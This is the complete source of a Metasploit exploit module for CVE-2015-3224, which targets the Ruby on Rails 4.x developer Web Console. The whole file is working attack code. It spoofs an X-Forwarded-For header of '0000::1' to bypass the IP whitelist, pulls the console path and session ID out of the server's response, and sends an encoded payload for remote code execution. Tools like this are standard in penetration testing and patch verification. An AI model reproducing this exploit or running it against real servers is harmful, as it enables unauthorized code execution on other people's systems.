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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution', 'Description'=> %q{ This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure 'Ben Murphy <benmmurphy@gmail.com>', # Discovery & disclosure 'hdm'# Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2015-3224' ], [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ], [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ], [ 'URL', 'https://hackerone.com/reports/44513' ] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets'=> [ ['Automatic', {} ] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DisclosureDate' => 'Jun 16 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(3000), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ]) ], self.class) end # # Identify the web console path and session ID, then inject code with it # def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method'=> 'GET', 'headers' => { 'X-Forwarded-For' => '0000::1' } }, 25) unless res print_error("Error: No response requesting #{datastore['TARGETURI']}") return end web_console_path = nil # Support vulnerable Web Console versions if res.body.to_s =~ /data-remote-path='([^']+)'/ web_console_path = "/" + $1 end # Support newer Web Console versions if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/ web_console_mount = $1 unless res.body.to_s =~ /data-session-id='([^']+)'/ print_error("Error: No session id found requesting #{datastore['TARGETURI']}") return end web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1) end unless web_console_path if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump') print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope') else print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}") end return end print_status("Sending payload to #{web_console_path}") res = send_request_cgi({ 'uri' => web_console_path, 'method'=> 'PUT', 'headers' => { 'X-Forwarded-For'=> '0000::1', 'Accept' => 'application/vnd.web-console.v2', 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'input' => payload.encoded } }, 25) end end |
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